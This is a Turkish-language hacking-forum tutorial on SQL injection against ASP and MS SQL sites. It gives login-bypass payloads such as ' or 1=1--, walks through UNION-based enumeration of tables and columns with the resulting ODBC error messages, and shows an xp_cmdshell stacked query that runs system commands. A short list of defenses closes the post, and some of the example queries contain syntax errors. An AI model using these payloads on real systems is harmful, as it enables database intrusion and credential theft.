veribantı saldırıları

atlas_tr

Kıdemli Üye
8 Ocak 2008
2,380
14
NErDe OLsam BEğeNİRsin
Web üzerinde kullanılan pek çok uygulama back-end olarak hizmet veren bir veritabanı kullanır. Bu sayede kullanıcıya interaktif bir oturum sağlanmış olur. Bu tip uygulamaların sıkça kullanıldığı alanlardan biri de formlardır. Kullanıcı ilgili forma kullanıcı ismini, şifresini, kredi kartı bilgilerini vs. yazar, daha sonra da "gönder" ya da "submit" tuşuna basarak kendi bilgilerini gönderir. Web sitesinde kullanılan ASP, PHP, JSP gibi uygulamalar, kullanıcının gönderdiği bilgileri alır ve kullanılan veritabanının türüne göre, uygun bir şekilde kodlayarak veritabanına gönderir. Backend olarak kullanılan veritabanları da gelen istek karşısında, kullandığı tablolara bakar ve istenilen kriterleri sağlıyorsa onay verir. Veritabanlarından en çok kullanılanlar; Microsoft SQL ve Unix tabanlı sistemlerde kullanılan MySQL"dir. Özellikle MS SQL üzerinden yapılan saldırılarda kullanıcı bilgilerine ya da diğer bilgilere ulaşmak mümkündür. Bunun için biraz SQL mantığını bilmek yeterlidir. Şimdi olayın detayına inelim:
Hacker"ın ilk yapması gereken web sayfasında form kullanan bir site bulmaktır. Formlar, pek çok sitede kullanılan ve kullanıcıyla etkileşimi sağlayan elemanlardır. Bir html sayfasındaki tipik bir form şu şekilde kodlanır:


ve arasındaki her parametre hacker için kullanışlı olabilir. Amacına ulaşmak için form elemanlarını kullanan siteleri araştıran hacker, özellikle https://tik.lat/a4DkG şeklindeki ASP sitelerine bakar. Bu tarz bir site bulduğu zaman yapması gereken şey, öncelikle form kısmına ya da URL adresine şu tarz bir şey yazmaktır:
http://www.example.com/index.asp?userid=" or 1=1--
Bu ifade login kısmına da, şifre kısmına da, URL adresinin olduğu kısma da yazılabilir. Peki ama bu ifade ne anlama geliyor? Normalde kullanıcı ismi ya da şifre girmesi gereken yere, rastgele bir karakterin ardından " or 1=1-- yazılması, SQL dilinde kullanılan noktalama işaretleri ve lojik ifadeler yardımıyla login ekranını doğrudan geçmek ve normalde görünmeyen ekstra bilgilere ulaşmak içindir. Konuyu biraz daha açalım ve SQL veritabanında bir sorgulamanın nasıl yapıldığına bakalım. SQL"de tipik bir sorgulama şu formatta yapılır:
SELECT * FROM uyeler WHERE userID="tahribatuser"
Yukarıdaki deyim, "uyeler" tablosunda, kullanıcı ismi "ilyas" olan kişinin bütün ( * ) kayıtlarını görmek için kullanılır. Bu deyimde ilyas kelimesinin 2 yanındaki tek tırnağa dikkat edin. UserID kısmı zaten URL kısmında görüldüğünden, hacker bu bilgiyi kullanarak, girdiği bazı değerleri SQL"e enjekte edebilir. SQL enjeksiyonu olarak da bilinen bu olayda, hacker " or 1=1-- yazarak, giriş şartının kullanıcı isminin hiçbirşey olması ya da 1=1 eşitliğinin sağlanması gerektiğini SQL"e enjekte etmeye çalışmıştır. Bu yazdığı ifade SQL"e şöyle gider:
SELECT * FROM uyeler WHERE userID=" or 1=1--"
Deyimin sonundaki -- ise SQL"e sorgunun sonundaki ek tırnaktan ( " ) kurtulmak için geri kalan kısmı dikkate almamasını söyler. SQL sorgulamasında aşağıdakilerden herhangi biri kullanılabilir.
" or 1=1--
" or 1=1--
or 1=1--
" or "a"="a
" or "a"="a
") or ("a"="a
Peki bunu yapınca ne olacak? Buradaki amaç, farklı noktalama işaretleri kullanarak, SQL"in ODBC hatalarını vermesini sağlamak. Hacker"ın sızmak istediği şirketin web sitesinde, şöyle bir ASP sayfasının olduğunu varsayalım: https://tik.lat/OiPyD
Şimdi aşama aşama hacker"ın nasıl sonuca gittiğine bakalım. Öncelikle yukarıda anlatılan noktalama işaretlerini kullanarak SQL"i ODBC hatası vermeye zorlayacaktır. Bu amaçla, iki veya daha fazla sorguyu
tek sonuç setinde veren UNION operatörünü kullanır. UNION operatörünün genel kullanımı şöyledir:
SELECT * FROM TABLO1 UNION SELECT * FROM TABLO2

Hacker ise UNION operatörünü şu şekilde kullanır:
https://tik.lat/nwLyw UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
"INFORMATION_SCHEMA.TABLES ", sunucudaki tüm tablolar hakkında bilgi tutan bir sistem tablosudur. "TOP 1 TABLE_NAME" ise en üstteki tablodur. Hacker sistemde hangi tabloların olduğunu ve bunların isimlerinin ne olduğunu bilmediğinden, MS SQL"de standart olan genel isimleri kullanmıştır. Bu sorgulamada, veritabanındaki ilk tablo ekrana gelecektir. Ayrıca UNION operatörü sayesinde, bizim verdiğimiz string (nvarchar), 5 sayısına (integer) dönüştürülmeye çalışılacak, ama şu şekilde bir hata verecektir:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "tablo1" to a column of data type int.
/index.asp, line 5
Hacker için bu mesaj çok değerlidir. Çünkü veritabanındaki ilk tablonun ismini öğrenmiştir: Tablo 1. Sıra diğer tablonun ismini öğrenmeye gelmiştir:
https://tik.lat/WtRsL UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("tablo1")--
Ya da herhangi bir detayı içeren tabloyu LIKE operatörü ile aratabilir: https://tik.lat/hXRf4 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--
alacağı cevap şu şekilde olacaktır:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Driver][SQL Server]Syntax error converting the nvarchar value "admin_login" to a column of data type int.
/index.asp, line 5
Hacker bir aşama daha katetmiştir, çünkü kullandığı LIKE operatörü ile içinde "login" olan tabloyu aratmış ve bulmuştur: "admin_login". Şimdiki hedefi "admin_log on" tablosundaki sütunların isimlerini öğrenmektir:
https://tik.lat/rCeV9 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = "admin_login"--
SQL"in vereceği cevap şöyledir:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "login_id" to a column of data type int.
/index.asp, line 5
"admin_login" tablosunda ilk sütunun ismi, "login_id" olarak bulundu. Ancak bir sonraki sütunun ismini de bilmesi gerekir. Bunun için NOT IN operatörünü kullanacaktır:
https://tik.lat/EMHpH UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")--
Bu sorguya SQL şöyle cevap verir:
Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "login_name" to a column of data type int.
/index.asp, line 5
"admin_name" bilgisini de ele geçirdi. Hacker, bundan sonra benzer komutları uygulayarak yönetici hesabını ele geçirebilir ya da kendisi için yeni bir yönetici hesabı açabilir.

Anlatılan bu yöntem dışında, hedef makinede saklanan SQL prosedürleriyle uzaktan komut çalıştırmak da mümkündür. MS SQL varsayılan olarak kurulduğunda, Windows"daki administrator erişimine karşılık gelen SYSTEM hesabıyla çalışır. Bu hesapla sunucuya bağlanıldığında "master..xp_cmdshell" gibi saklı prosedürler çalıştırılabilir.
Mesela;
"; exec master..xp_cmdshell "dir c:"--
Komutu kullanılarak, C: sürücüsündeki dosyaların görüntülenmesi sağlanabilir. En baştaki ; işareti SQL"e sorgulamayı bitirmesini ve geri kalan kısımda verdiği komutu çalıştırmasını söyler. Bu komutun SQL"deki tam karşılığı şöyledir:
SELECT * FROM tablo1 where catid="giyim" ; EXEC master..xp_cmdshell "dir c: "--
Uzaktan komut çalıştırmak suretiyle kullanıcı ismi ve şifresi yanlış bile olsa, önemli belgeleri, herhangi bir dosyaya yazdırıp sonra da kendi makinesinde açtığı bir klasöre kopyalanmasını sağlayabilir.
Önlemler
Gereksiz Saklı Prosedürleri ve Kullanıcı Yetkilerini Kaldırın: Kullanmadığınız master..xp_cmdshell, xp_starmail, xp_sendmail gibi saklı prosedürleri kaldırın. Ayrıca bu prosedürler sayesinde komut kullanımına izin veren, varsayılan SYSTEM hesabı da kullanılmamalıdır.
Noktalama İşaretlerinin Kullanımını Filtreleyin: Kullanıcılardan, URL"den, cookie değerlerinden gelen noktalama işaretlerinin ( ", "", #, ; ), girdi olarak alınmadan önce filtrelenmesi gerekir. Bunun için küçük ASP kodları yazılabilir.
Girdi Ayarlarını Düzenleyin: Web sitenizde kullandığınız formun bir alanına girdi olarak nümerik değerlerin girilmesi gerekiyor olabilir. Bu durumda buraya girilen her değerin nümerik olup olmadığı kontrol edilmelidir. Benzer şekilde en fazla 10 karakter girilmesi gereken bir alana, 11 karakterin girilememesi gerekir. Böylece olası bir SQL enjeksiyonu saldırısından ya da tampon bellek taşmasından korunmuş olursunuz.......kolay gelsin
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.